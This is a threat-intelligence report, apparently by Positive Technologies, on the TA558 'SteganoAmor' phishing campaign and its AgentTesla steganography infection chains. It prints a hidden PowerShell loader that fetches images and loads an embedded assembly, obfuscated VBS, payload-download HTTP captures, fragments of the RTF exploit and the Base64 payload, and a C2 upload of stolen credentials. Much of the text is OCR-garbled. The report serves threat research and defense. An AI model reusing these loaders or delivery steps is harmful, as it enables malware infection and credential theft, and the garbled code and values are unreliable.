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Researchers from the Positive Technologies Expert Security Center discovered more than three hundred attacks worldwide,

which they confidently attributed to the well-known TA558 group.

As originally described by researchers at ProofPoint, TA558 is a relatively small financially motivated cybercrime group
that has attacked hospitality and tourism organizations mainly in Latin America, but has also been identified behind attacks

on North America and Western Europe. According to the researchers, the group has been active since at least 2018.

In the attacks that we studied, the group made extensive use of steganography by sending VBSs, PowerShell code, as well
as RTF documents with an embedded exploit, inside images and text files. Interestingly, most of the RTF documents and

VBSs have names like greatloverstory.vbs, easytolove.vbs,

h dtrulyyoungunluckyst undersatnd_howmuchiloveherbutitsallgreatwithtrueloveriamgivingyou.doc,

Sth
vewit

and others, associated with love, which is why we dubbed the campaign "SteganoAmor".

Victims

In the course of our research, we discovered numerous samples that targeted various economic sectors and countries. Most
of the email messages we came across had been sent to Latin America, but a considerable percentage were addressed

to companies in Russia, Romania, Turkey, and some other countries.

Some of the victims that we saw had legitimate FTP and SMTP servers, which the threat actor infected and utilized

as C2 servers. They also used the infected SMTP servers to send phishing email.

As our research effort continued, we found servers with public directories in which the group placed files to be used in its

attacks.

5 | @ Indexof xamppfxnv/xn X+

& @ C 08 103.237.87.56

Index of /xampp/xnv/xn

Name Last modified Size Description

a Parent Directory -
@ kissmydearuarereally..> 2024-03-20 19:26 70K

Apache/2.4.47 (Win64) OpenSSL/1.1.1k PHP/7.3.28 Server at 103.237.87.56 Port 80

Figure 1. An example of a public directory

We also found malware logs containing stolen data on the servers with public directories. Thus, data stolen with the help

of AgentTesla was stored in the form of HTML files whose names conformed to the following template:
o PW_*PC_name*_*date of exfiltration* *time of exfiltration*.html

The files contained aggregated credentials for every known browser, email (for example, Outlook and Thunderbird) account

credentials, and remote access (VPN or RDP) credentials.
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Example Outlook logs Example Firefox logs
Time: 03/11/2024 11:52:17 Time: 03-20-2024 10:41:09
User Name: User Name:
Computer Name: Computer Name:
OSFullName: Microsoft Windows 7 Professional OSFullName: Microsoft Windows 10 Education
CPU: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz CPU: Intel(R) Atom(TM) CPU C3750 @ 2.20GHz
RAM: 4096 MB RAM: 32728.45 MB
Host: Host: https://accounts.qoogle.com
Username: Username:
Password: Password:
Application: Outlook Application: Firefox
Host: https://account.mail.ru
Username:
Password:

Application: Firefox

Host: http://rutracker.org
Username:

Password:

Application: Firefox

Host: https://www.dropbox.com
Username:

Password:

Application: Firefox

Figure 2. A log example
The logs included data from regular users, public institutions, and various businesses.

We discovered a total of more than 320 attacks targeting the following countries and sectors:
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Figure 3. Distribution of attacks by country
In the course of our research, we discovered attacks on specific companies. The number of attacks on specific targets differs
significantly from the total number of discovered attacks, as we could not always find out who the victim was.
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Figure 4. Distribution of attacks by sectors

The research begins

While monitoring threats, members of the ESC team discovered a file named "factura 00005111, 005114, 005115.pdf.xlam"
SHA-256: 69ffd7a475c64517c9c1c0282fd90c47597e3d4650320158cfb8c189d591db8c. Linked files led them to an email
message. The file name "banned-20240117T134543-25672-12" suggested that the message had reached the recipient but

was blocked by security systems. It was ostensibly sent to a Romanian company from another Romanian company:

More v

1/17/24, 05:55

Subject Re: Extras de cont octombrie, noiembrie si decembrie 2023

‘Buna dimineata

Am verificat contul dvs. si am constatat ca facturile atasate sunt inca deschise.

V& rugam sé examinati aceste facturi restante ca o notificare atasata si sa ne furnizati informatiile dvs. de plata cat mai curand
posibil?

Dacé ati primit deja toate platile noastre, puteti ignora acest mesaj. in caz contrar, confirmati optiunile de plati:

Multumesc si salutari

Ozi frumoasal
|
Contab
Mobi
ANI E
VANZARE | INCHIRIERE | SERVICE
Contacte companie:
Utilaje 31 echipamente pentru constructii !
Roménia /alia / Ungaria / Buigaria { Rep. Moldova
Adresa L3

SEACI G TITAN whan  BEiiONTOLIT

) 1attachment 005111, 005114, 005115,

Figure 5. The phishing email with a malicious attachment

The sender's IP address, 46.27.49.180, was replaced with another. Our data indicated that the group had sent 22 other

messages from that IP address to various organizations starting on June 15, 2023.

When the message is opened, Excel downloads with the help of macros a file named "packedtpodododod.exe" (SHA-
256:C42288A5946D2C3EB35E7485DD85936C1FABF49E46B12449C9136FF974A12F91) from the following URL:

e 94.156.65[.]225/packedtpodododod.exe
An RTF file could be downloaded from the same IP address via the following URL:

e 94.156.65[.]225/microsoftdecidedtodesignnewproducttoupdateandupgradenewprojectthingsonthepcandsystem.doc
This variant contains CVE-2017-11882 and downloads the following file in the chain from the URL:

e 94.156.65[.]225/herewegoxla.exe.

Once downloaded, the file runs. The final payload is AgentTesla hiding behind an Excel icon, which uploads data to the
C2 via FTP. The C2 itself is a legitimate website that has been compromised.

Other infection chains

Thanks to internal systems, we discovered dozens of different files linked to the FTP server, which was used as a C2 for
AgentTesla. Most of the files linked to the FTP server were used in malicious files that bore Spanish, Portuguese, and

Romanian names.

We also used our systems to successfully discover hundreds of different files and dozens of malicious IP addresses used
by the group in the campaign at hand. Some of the files were documents with various name extensions and targeting
different countries, but sharing one infrastructure and similarities between the attack chains. The files had different names

in English, Bulgarian, Croatian, Turkish, Russian, Chinese, and other languages.

Below, you will find examples of chains containing malware that belongs to a variety of families: AgentTesla, Remcos,
XWorm, LokiBot, Guloader, Formbook, SnakeKeylogger. We would like to emphasize that one type of malware may

be involved in several different chains. A complete list of indicators of compromise is available under IOCs below.
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1.1 AgentTesla attack: the main scenario involving an Excel document and steganography
The main scenario we saw in this campaign and which gave it its name is an attack chain that involves steganography.

A case in point is a file named "Cerere de cotatie.xla" (SHA-256:
64020a7a3f5f6c589272f28d727318eb5eb4eb4d41510679cb8134c0325c8fe2) It kicks off the chain. When opened,
it exploits CVE-2017-11882, sending a request to the URL:

e qly[.]Jai/08XES5, a shortened link that redirects to

23.95.60.74/weareinlovewithmygirlfriendunderstandhowitistoget___youareverybeautifilformeiloveusoomuchalwaysloveutrulyfromtheheartlove.dc

GET /@8XES HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.@ (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30
729; Media Center PC 6.0; .NET4.0C; .NET4.OE)

Host: qly.ai

Connection: Keep-Alive

HTTP/1.1 362 Found

Server: nginx/1.18.@ (Ubuntu)

Date: Mon, 11 Mar 2024 08:44:45 GMT

Content-Type: text/plain; charset-utf-g

Content-Length: 166

Connection: keep-alive

X-Powered-By: Express

Location: http://23.95.60.74/weareinlovewithnygirlfriendunderstandhowitistoget__youareverybeautifilformeiloveusoomuchalwaysloveutrulyfrom
theheartlove.doc

Vary: Accept

Found. Redirecting to http://23.95.60.74/weareinlovewithmygirlfriendunderstandhowitistoget__youareverybeautifilformeiloveusoomuchalwayslo
veutrulyfromtheheartlove. doc

Figure 6. Request for the next stage (after opening the document)

The file received with the server response (SHA-256:
2c58ca41949aa784dce6a2006162781fe7a7a5453cafb731ee4d512efe718c43) is an RTF document.

GET /weareinlovewithmygirlfri itistoget beautifilformeiloveusoomuchalwaysloveutrulyfromtheheartlove.doc HTTP/1.1
Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.® (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.36729; .NET CLR 3.0.30729; Medi
a Center PC 6.0; .NET4.0C; .NETA.0E)

Connection: Keep-Alive

Host: 23.95.60.74

HTTP/1.1 200 OK

Content-Type: application/msword
Last-Modified: Mon, 11 Mar 2024 07:54:28 GMT
Accept-Ranges: bytes

ETag: "33ddfb578973dal:0"

Server: Microsoft-115/10.0

Date: Mon, 11 Mar 2024 08:51:01 GHT
Content-Length: 80035

{\rtf1
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Figure 7. Receiving an RTF document
When opened, it runs and downloads a VBS script from that same IP address:

o 23[.]95[.]60[.]74/roammamamamam.vbs
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GET /roammamamaman.vbs HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.@ (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2..50727; .NET CLR 3.5.36729; .NET CLR 3.0.
30729; Media Center PC 6.0; .NETA.0C; .NET4.OE)

Host: 23.95.60.74

Connection: Keep-Alive

HTTP/1.1 268 OK

Content-Type: text/vbscript
Content-Encoding: gzip

Last-Modified: Mon, 11 Mar 2024 ©7:39:25 GMT
Accept-Ranges: bytes

ETag: "8074793d8773dal:0"

Vary: Accept-Encoding

Server: Microsoft-115/10.0

Date: Mon, 11 Mar 2024 08:52:17 GMT
Content-Length: 902

..t.e.r.m.i.n.a.s.s.e. .=. .9.7.

.s.e.g.r.e.g.a.r.a.m.o.s. .=. .C.h.r.(.t.e.r.m.i.n.a.s.s.e.).

.C.h.r.(.d.e.s.a.linh.a.r.e.s.).

ce.n.c.a.ntieem. .=, .1.0.1.
.d.e.s.i.n.t.e.r.e.s.s.a.s.s.e.s. .=. .C.h.r.(.e.n.c.a.n.t.e.m.).
.e.s.q.u.a.d.r.iinchoair.ei. L= .1.0.2.

Figure 8. Request for an RTF document to obtain VBS
The VBS script sends a request to pastel.]ee to fetch the next payload:

o paste[.]Jee/d/FZTcX

®  paste.ee/d/FZTc)

dim sobrevivemo , falacoes , embacaremos , passeatas , figuraramos , Cama , figuraramosl

falacoes = "

embacaremos = "' & passeatas & falacoes & passeatas &
"QB1DGTreGADgT reYwBODgTreGKDgT rebwBuDgTreCDgTreDgT reRDGT reBYDgTreHcDgT rebgBsDgTreGaDgT reYOBKDgTreEQDGT reYQBODgT reGEDGTreRgByDGTreGaDgTre
bQBMDGTreGkDgT rebgBrDgTreHMDgTreIDgT reB7DgTreCOgTreDgT recDgTreBhDGTreHIDGTreYQBtDgTreCDgTreDgTreKDGT reBbDgT reHMDgTredDgT reByDgTreGkDgTre
bgBnDgTreFsDgT reXQBdDGTreCQDGT rebbgT reBpDgTreG4ADgT reawBzDgT reCkDgTreIDgTreDgTrekDgTreHcDgTre" & passeatas & falacoes & passeatas &
"0BiDgTreEMDGTrebDgT reBpDgTreGUDgTrebgBODgTreCDgTreDgTrePODgTreggTreEdDTre" & passeatas & falacoes & passeatas &
"QB3DgTreCDgTreTwBiDgTreGoDgTre" & passeatas & falacoes & passeatas &
"QBjDGTreHQDQT reIDgT reBTDGTreHkDgTrecwBBDGTreGUDYT rebQDgTreuDgTreE4DgTre” & passeatas & falacoes & passeatas &
"0BODGTreC4DgTreVwBlDgTreGIDGTreQuBsDgTreGkDgTre” & passeatas & falacoes & passeatas & "0BuDgTreHODgTreOwDgTregDgTreCDgTre" & passeatas
& falacoes & passeatas & "DgTreBvDgTreHcDgTrebgBsDgTreG8DTreYQBKDGTreGUDGTre" & passeatas & falacoes & passeatas &
"DgTreBEDGTreGEDgTredDgTreBhDgT reCDgTreDgTrePQDgTregDYT reEDGTreDgT rekDGTreDgTrepbgTreDsDgTreIDgT reDgTrekDgT reHMDgT reabgT reB10gTreGYDgTre
" & passeatas & falacoes & passeatas & "gBsDgTreGUDgTre" & passeatas & falacoes & passeatas &
"DgTreBMDGTreGkDgTrebgBrDgTreHMDgTreIDgT reDgTredDgT reCDgTreDgTrelDgTreBsDgT reGkDgTrebgBrDgT reHMDGTreIDgTreBEDgT reCDGTreDgTreRWBLDGT reHOD
qTreLQBSDgTreGEDgTrebgBkDgTreG8DgTrebQDgT regDgTreCODgT reQwBvDgTreHUDgT rebgBODgTreCDgTreDgTrelDgTreBsDgTreGkDgT rebgBrDgTreHMDgT reLgBMDgT
eGUDgTrebgBnDgTreHaDgTreaDgTreDgTre7DgTreCDgTreDgTre” & passeatas & falacoes & passeatas & "gBvDgTreHIDgTre" & passeatas & falacoes &
asseatas &
EUBth'IreGMDgTrsaDgTreDgTrengTre(ngTreJDqTreBngTreGkDgTrebgBqu'lre(DqTreDgTreaOBquTre(DgTrEDgTreJDgTreBzDgTreGng‘lredOBme'lreGYDgTre
bDgTreBlDgTreGADGTreTDgTreBpDgT reG4DgTreawBzDgT reCkDgT reIDgT reB7DgTreCDgTreDgTredDgTreByDgT reHkDGTreIDgTreB7DgT reCDgTreDgTrelDgTreBkDgTT
©eGBDgTredwBuDGT reGwWDGTrebwBhDgTreGEDgTre” & passeatas & falacoes & passeatas &
"0BkDgTreEQDgT reY0BADGTreGEDGT reIDgTreDgT rerDgTreDBDgTreIDgT reDgTrekDgTreHeDgTre” & passeatas & falacoes & passeatas &
"QBiDgTreEMDgT rebDgT reBpDgTreGUDgTrebgBODTreCdDgT reRDGT reBvDgTreHcDgT rebgBsDgTreGaDgT reYQBKDQT reEQDGT reYQBODGT reGEDGTrekDgTreDgTrekDgTr
eGuDgTreaQBudgT reGsDgTreKQDgTregDgT reHODGTreIDTreB)DgT reGEDGTredDgTreBjDgTreGgDgTreIDgTreBIDgTreCDgT reDgT reYwByDgTreG4DgT redDgTreBpDgTr
264DgTredQBlDgTreCDgTreDgTrefODgTregDgTreHODGTre0wDyTregDgTreHIDgTre" & passeatas & falacoes & passeatas &
"QBODGTreHUDgTrecgBuDgTreCDgTreDgTreIDgT reBkDgTreGBDgT redwBuDgTreGuDgTrebwBhDgTreGADgTre" & passeatas & falacoes & passeatas &
"QBKDgTreEQDQTreYQBODGTreGEDGT reIDgTreBIDQTreDsDYTreIDgTredgTrekDgTreGwDgTreaQBuDgTreGsDgTrecwbgT regDgTreDDgT reIDgT reBDgTredgTrecqDgTre
JwBoDgTreHQDgT redDgT reBubgTreHMDgTreOgDgT revDgT reC8DgT red0BWDgTreGwDgT rebwBhDgTreGODgTre” & passeatas & falacoes & passeatas
"DgTreBLDgTreGkDgTrebQBADgTreGeDgTre" & passeatas & falacoes & passeatas &
"QBuDGT reHMDgT rel gBjDgTreGaDgT rebQDgTreudgTreGIDGT recgDgTrevDgTreGkDgTrebQBhDgTreGeDgTre” & passeatas & falacoes & passeatas &
"QBzDgTreC8DgTreMDgT reDgT rewDgT reDADGTreLwDgTre3DgT reDUDGT reMwDgT revDgTreDcDgTreMDgT rezDgT reC8DgTrebwByDgTreGkDgTre” & passeatas &
falacoes & passeatas & "wBpDgTreG4DgTreYQBsDgTreC8DgTrebgBlDgTreHcDgTreXwBpDgTreGeDgT reY0BnDgTreGUDGT relgBaDgTreHDgTreDgTre” & passeatas
& falacoes & passeatas &
"wDQTre/DgTreDEDGTreNwDAT rewDgT reDkDgT re0QDgT rewDgT reDgDgT reMwDgT rexDgTreDYDgTrelwDgT resDgTreCDgT reDgTrelwBoDgT reHODgT redDgTreBwgT raHMD
gTre0gDgT revDgTreC8DgTredQBwDgT reGuDgTrebwBhDGTre6ODgTre” & passeatas & falacoes & passeatas & “DgTreBlDgTreGkDgTrebQBhDgTreGeDgTre" &
passeatas & falacoes & passeatas & "QBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreudgTreGIDgTrecgDgTrevDgTreGkDgTrebQBhDgTreGeDgTre" & passeatas
& falacoes & passeatas
"QBzDgTreCaDgTreMDgT reDgT rewDgT reDQDGTreLwDgTre3DgT reDUDGT reMwDgT revDgTreDeDgTreMaDgT redDgT reC8DgTrebwByDgTreGkDgTre" & passeatas &
falacoes & nasseatas & "wAnDaTreGdNaTreYORSDATreCANATrehaRl NaTreHcDaTreXwRnDaTreGADOTreYDRNDTreGNaTrel aRabaTreHNTreNaTre" & nasseatas

Figure 9. Malicious code in the legitimate paste[.]ee service

It then proceeds to downloading and decoding an encoded malicious string (steganography) embedded in an image from the
following URLs:

 uploaddeimagens[.]Jcom[.]br/images/004/753/714/original/new_image.jpg?1709908350
 uploaddeimagens[.]Jcom[.]br/images/004/753/713/original/new_image.jpg?1709908316

The images are the same:
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®  new_imagejpg (JPEG Imag

c 06 deimagens.com.br.

Figure 10. An image downloaded from the legitimate service
» new_image.jpg (SHA-256: 1435aef381b7e31245e2ca66818209a7f8d54daef4d0db25ef78b3a9fec3242b)

A Base64-encoded next-stage payload hidden inside the downloaded image:

F2 3F 79 27 3D 3A 6C EC EC 06 27 D3 E9 A7 96 38 A5 62 26 4F .?y'=:....'....8.b&0
50 01 B6 9A CA 1D @6 9D 55 9D E5 94 20 EA C6 43 5F CF 3B 3B P.......U... ..C_.;;
B3 1A 57 3A 9D GA 43 A6 46 F2 43 8E A4 92 4F 72 4F 7C 6F C5 ..W:.jC.F.C...0r0|o.
F7 AA CE 54 95 25 E2 ©4 57 50 @3 E7 67 60 13 C2 FC 39 A1 B4 ...T.% .WP..g"...9..
GA 24 E2 46 16 AA 7B 29 EF F@ C5 3C 5F 4F 0C 9A 79 24 31 A9 j$.F..{)...< 0..y%l.
91 47 @D 74 DF F5 CE CE CO FF D9 3C 3C 42 41 53 45 36 34 5F .G.t....... <<BASEG4
53 54 41 52 54 3E 3E 54 56 71 51 41 41 4D 41 41 41 41 45 41 START>>TVqQAAMAAAAEA
41 41 41 2F 2F 38 41 41 4C 67 41 41 41 41 41 41 41 41 41 51 AAA//BAALQAAAAAAAAAQ
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAANAAA
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAAAAAA
41 41 41 41 41 41 41 67 41 41 41 41 41 34 66 75 67 34 41 74 AAMAAAAQAAAAA4TugdAt
41 6E 4E 49 62 67 42 54 4D 30 68 56 47 68 70 63 79 42 77 63 AnNIbgBTMOhVGhpcyBwe
60 39 6E 63 6D 46 74 49 47 4E 68 62 6D 35 76 64 43 42 69 5A mIncmFtIGNhbmSvdCBiZ
53 42 79 64 57 34 67 61 57 34 67 52 45 39 54 49 47 31 76 5A SBydwdgaWdgREITIG1vZ
47 55 75 44 51 30 4B 4A 41 41 41 41 41 41 41 41 41 42 51 52 GUUDQOKIAAAAAAAAABOR
51 41 41 54 41 45 44 41 48 2B 5A 62 34 38 41 41 41 41 41 41 QAATAEDAH+ZbABAAAAAA
41 41 41 41 4F 41 41 49 69 41 4C 41 54 41 41 41 4A 77 72 41 AAAAOAATIALATAAAIWrA
41 41 49 41 41 41 41 41 41 41 41 5A 72 73 72 41 41 41 67 41 AAIAAAAAMAAZrsrAAAgA
41 41 41 77 43 73 41 41 41 41 41 45 41 41 67 41 41 41 41 41 AAAWCSAAAAAEAAQAAAAA
67 41 41 42 41 41 41 41 41 41 41 41 41 41 45 41 41 41 41 41 gAABAAAAAAAAAAEAAAAA
41 41 41 41 41 41 41 4C 41 41 41 41 67 41 41 41 41 41 41 41 AAAAAAALAAAAQAAAAAAA
41 4D 41 51 49 55 41 41 42 41 41 41 42 41 41 41 41 41 41 45 AMAQIUAABAAABAAAAAAE
41 41 41 45 41 41 41 41 41 41 41 41 42 41 41 41 41 41 41 41 AAAEAAAAMAAABAAAAAAA
41 41 41 41 41 41 41 41 42 53 37 4B 77 42 50 41 41 41 41 41 AAAAAAAABSTKWBPAAAAA
4D 41 72 41 41 41 46 41 41 41 41 41 41 41 41 41 41 41 41 41 MArAAAFAAAAAAAAAAAAA
41 41 41 41 41 41 41 41 41 41 41 41 4F 41 72 41 41 77 41 41 AAAAAAAAAAAADArAAWAA
41 44 34 75 53 73 41 56 41 41 41 41 41 41 41 41 41 41 41 41  ADJuSSAVAAAAAAAAAAAA
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAANAAA

Figure 11. The Base64-encoded payload

The PowerShell command inside the script:
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C:\Windows\System32\WindowsPowerShell\vl. 0\powershell.exas" -
windowstyle hidden -executionpolicy bypass -Noprofile —com-
mand "function DownloadDataFromLinks { param
([string[]]181links) SwebClient = New-Cbject System.Net.WebCli-
ent; $downloadedData = @(); SshuffledLinks = $links | Get-
Random -Count $links.Length; foreach ($link in $shuf-
fledLinks) { try { S$downloadedData += SwebClient.Download-
Data(81link) } catch { continue } }; return $downloadedData };
S$links = @('https://uploaddeimagens.com.br/im-
ages/004/753/713/original/new_image.jpg?1709508316",
'https://uploaddeimagens.com.br/images/004/753/714/origi-
nal/new image.jpg?l709508350") ; $imageBytes = DownloadData-
FromLinks $links; if (§imageBytes -ne $null) { SimageText =
[System.Text .Encoding] : :UTF8.GetString ($imageBytes) ; Sstart-
Flag = '<<BARSEG4 START>>'; SendFlag = '<<BASEG4_END>>";
SstartIndex = SimageText.IndexOf ($startFlag); S$endIndex =
$imageText. Ind=xCf ($endFlag) ; if ($startIndex -ge O -and
SendIndex —-gt $startIndex) { $startIndex += $start-
Flag.Length; SbasefdLength = SendIndex - $startIndex;
SbasebdCommand = $imageText.Substring($startIndex,
S$base6ALength) ; ScommandBytes = [System.Convert]::From-—
BaseddsString ($Sbase64Command) ; $loadedAssembly = [System.Re-
flection.Assembly]: :Load (ScommandBytes) ; Stype = $loadedAs-
sembly.GetType (' PROJETOAUTCMACAC . VE . Home ") ; Smethod =
Stype.GetMethod('VAI'") .Invoke (Snull, [ocbject[]] ('txt.zamama-
mammamamor/47.06.59.32//:ptth' , 'desativado' , 'desativado'
;, 'desatiwvado','AddInProcess32","''))}}

Figure 12. The PowerShell code inside the script

The script then decrypts the payload from the image and downloads a further payload from the same URL, written in reverse

string format. Its content is notably a Base64-encoded executable, also reversed:

23[.]195[.]60[.]74/romamammamamamaa.txt

GET /romamammamamamaa. txt HTTP/1.1
Host: 23.95.60.74
Connection: Keep-Alive

HTTP/1.1 200 OK

Content-Type: text/plain

Last-Hodified: Mon, 11 Mar 2024 7:36:55 GMT
Accept-Ranges: bytes

ETag: "3bab51e48673da1:0"

Server: Microsoft-115/10.0

Date: Mon, 11 Mar 2024 08:52:46 GHT
Content-Length: 326316

NATesIWb1N3choC
PKOgPvZnbIR3c1IHdvwDIgoQD+kHdpIXdjV2cvwDIgACTKOgP2V27 1 xa2 1mcQRWZONXZ1FXZy 9CPEACTEACTKOEPY TS Z2XHYmISPZNXZ JNHQPVHI  IXZr9mdul@chSPsVind1xGT sVind 1 xkby 1
GA1NWZAVEZ1R3c1VXC1JHPEACTEACTgALCNA T2YnL tNXY602bj1Cdm92cvI3Yp1HLzFWb1h2YzpibyVnIoHnbs1GegHXZnVGbpZXayBF Z1R3c 1VXc 1JHPEACTEACTKOEPSRXayV3Y INHPEACTg

0QD+Ti 2VtQ: 1ych1WZoN2c64mc1ISPz5GbthHIvZnbIR3c1IHABACIKOEPVICcuFmLUSWAOF 2YpxGewFUeNISPLINYuBi TwdCHuAj LXISPudWazIXZ2BSe016duVGZ
1Hbi1WZZNXYBACTKOEPiA]LXTSPuIWazIXZHR3C1ZWauFWbgISH255bzFmOt92YtQnZvii3byNWat 1ych1WZoN2c64mc1ISP: mYtV2czFGPKgP/Tycl WYONHTigT
LGRVVi02Zu16ZvNmb1B1 TwdSMi0jbv12cyVindgwbib 77AARAWAELAAD, i AwAgL
I b 1BQbAEGAD I 1BgLATGAIBWMAKDAY 1
BgZAQDA2AEYAOCATAWMAKDARBQLAMDANBAZAQDATAAMAZDA AGZAGC) pBg ot b
iBg! gl -AQMAUD
ARBQ \hBgbATHA1BAGA4GAIBQAAKC AwAgL ATBgeACDAAA
QHAWBQAATHA] Bur I 1BQbAEGAD I ot
UGA i gCAQHAT g/
pBg 2 0B9C
OADMO, 5 CAARA.
3 1GAUTHYNVGeF AAMAGOBAAA
GBCCGBGITAGIAgERg) KggeRgAGIAACCO1EVQxB] EwEQAWECTAT TgeDITIQbCGRFOgEDOIQXSURDIIQYRUNDIIQXSUXBHARICGBCTAACOgEBASACDEEAEUAC
I ol 1CGhDCIATHAACCEWEVYEDIIQbCGRFHAACC! JRFHgA+BGhDIIQbC 00BC| 2 gRAACCEWEVAA
c JRFPCEOTUQHYEhCC| gRowBPg FOBCF cgCTAegSkQCOHOEF cwCgHOEBOKEVCACFOB2BGRCWHOEF CAD: QBAEAAFO
FOBDCAZBIUQHLL ™ cwhDOMAAGESECEAT £HOELCAELgQHS B dThAHUACRIRLDKXAHEACT
UQHBHMATHgQUSUQHHMOEE CECVMOEBCOERIRADAY CFHYEpMYEpHYEBHMATMEACBIATFOXgRAATFUy g IGUIg

Figure 13. Payload with reversed Base64 code

Next, AgentTesla runs. The malware runs a check as a bypass element to make sure that it is not running on a hosting

platform, and the victim's IP address is real.
e ip-api[.]Jcom/line/?fields=hosting

AgentTesla steals data from browsers, email clients, remote access services, and connects via FTP to a C2 to upload it.
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220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------
220-You are user number 4 of 150 allowed.

220-Local time is now 2@:11. Server port: 21.

228-IPv6 connections are also welcome on this server.

220 You will be disconnected after 15 minutes of inactivity.
USER

331 User 0OK. Password required
PASS

230 OK. Current restricted directory is /

OPTS utf8 on

584 Unknown command

PWD

257 "/" is your current location

TYPE I

200 TYPE is now 8-bit binary

PASY

227 Entering Passive Mode (143,95,79,226,189,251)
STOR PW_ 2024 92 18_02_11 11.html

150 Acceplea aata connection
226-File successfully transferred
226 0.143 seconds (measured here), 5.27 Kbytes per second

Figure 14. Communication with the C2 server

Time: 02/18/2024 02:11:11<br>User Name: <br>Computer Name: <br>0SFullName: Microsoft Windows 1@ Pro<br>CPU: 12th Gen Intel(R)
Core(TM) 15-12400<br>RAM: 8192 MB<br><hr>Host: https://signin.ebay.com/ws/ebayisapi.dl1<br>Username: <br>Passuword:

<br>Application: IE/Edge<br><hr>Host: https://twitter.com/<br>Username <br>Password <br>Application: IE/Edge<
brs<hrsHost: https://login.live.com/<br>Username: <br>Password: <broApplication: Lc/tdge<brs<hrsHost: https://logi
n.aliexpress.com/<br>Username: br>Password: <br>Application: IE/Edge<br><hr>Host: https://www.facebook.com/<br>U
sername <br>Password <br>Application: I1E/Edge<br><hr>

Figure 15. Exfiltration
1.2 AgentTesla attack: an alternate scenario involving a Microsoft Word document
This is a late-2023 example that we do not see the malicious actor use as much any more, but still find samples of:

"Lista de productos 2.docx" (SHA-256: 54376ee15cca7c6cdecc27b701b85bdd2aa618fe8158a453d65030425154299a)

WG| vome | et Pagelayout  References  Mailngs  Review  View a
# Find -

. Replace

AaBbceDe | AsBbceoe AaBbC: AaBbce AADB 4as

Thormal |TNoSpaci. Headingl Heading2  Title suptitle | Change
" ° o 7 Styles~ | kg Select~

Galibri oty <11+ A A

F romatpainter| B £ U - sbe 3. X

Clipboard 5 Font

Paste

Styles 3| Editing

To: Energygreen LED Lighting
Attn: Mr Vytautas

Quotation

U Price
No. | Item No. Picture. 0 EXW
UsD

Material: Metal
Color: Black
Table lamp Size: 120241*450mm 334 $32.00 |$10,688.0¢
Voltage: 110V-240V
Light source: LED

Material: Metal
Color: Black
Wall lamp Size: 177*132*600mm 324 $28.00 |$9,072.00
Voltage: 110V-240V
Light sowce: E14

Figure 16. The malicious document with OLE
When run, it sends a request to shlx.us/eO, which redirects to the following URL:

e 23.95.122[.]104/htm/1/HTMLbrowserlEchromeHistoryCleaner.doc

GET /e0 HTTP/1.1

Accept: */*

User-Agent: Mozilla/4.@ (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/4.6; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729;
Media Center PC 6.0; .NET4.0C; .NET4.0F; ms-office; MSOffice 14)

UA-CPU: AMD64

Accept-Encoding: gzip, deflate

Host: shlx.us

Connection: Keep-Alive

HTTP/1.1 302 Found

Connection: Keep-Alive

Keep-Alive: timeout=5, max=100

location: http://23.95.122.104/htm/1/HTMLbrowserIEchromeHistoryCleaner.doc
content-type: text/html; charset=UTF-8

content-length: @

date: Wed, 08 Nov 2023 14:51:23 GMT

cache-control: no-cache, no-store, must-revalidate, max-age=0
vary: User-Age

x-frame-options: SAMEORIGIN

x-xss-protection: 1; mode=block

Figure 17. The next-stage request after opening the document

The downloaded document (SHA-256: 6cab2705e5bfe56db1e9a74c8af9dcal62de7631dd8dc074685dcb9c1dc7c5a2)

is a malicious RTF document containing an exploit:
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GET /htm/1/HTHLbrowserTEchromeHistoryCleaner.doc HTTP/1.1

Accept: */*

User-Agent: Mozilla/4.@ (compatible; MSIE 7.0; Windows NT 6.1; Win6d; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR
3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.OF; ms-office; MSOffice 14)

UA-CPU: AMD64

Accept-Encoding: gzip, deflate

Host: 23.95.122.104

Connection: Keep-Alive

HTTP/1.1 200 OK

Date: Wed, 08 Nov 2023 14:51:18 GMT

Server: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.2.4
Last-Modified: Wed, 08 Nov 2023 05:27:27 GMT

ETag: "c1d5-6099d57c7a8ae”

Accept-Ranges: bytes

Content-Length: 49621

Keep-Alive: timeout=5, max=100

Connection: Keey
Content-Type: appllcat)on/msword

{\rt

DTSR )

{\82150753+)@.9)71830_[". 79>A9 <5];$7@%8:7%" 1 286,#9'2>2><900%+627.207. .01 (>',~ ]5¢"7. 24-2[-11=01 | %424] 2%, ~#3$2 1&-[ 92167, )1 %6+/ 8l&."_>',=$:429(6<"!
5>)7(2 . 1.$1(@- 2|57 22130 ]~=+=8#%". /| <78 _1#.| 98 wn[asx”"l $244054]1<22$7248_. 3(.)3.4132~226(76_1707-7~=-8>/27.7,$°9%#-%_27,%4%1.7_+-?
»[esAw&)&?z *3(9.3=$24% >: 37<32u[ ‘[9% (5$<|‘
L[22-73:46<; 28256(1>211]
2|8 _%22°0[//2/16"=(/#=5_¢

#%3'.:,5:28° 82| _@=._2?[:_| /21482
@sA~>](>'< %.445%2=/. @u.)zvsxv +#2%)33-0-
(21..) (7%:81%7~]1%$" -, (" 103<~#2. .892.16+(1++|>,>. _|
2./1;201,2,-<72((64. 1 9535?/?3?9% ., 2900610

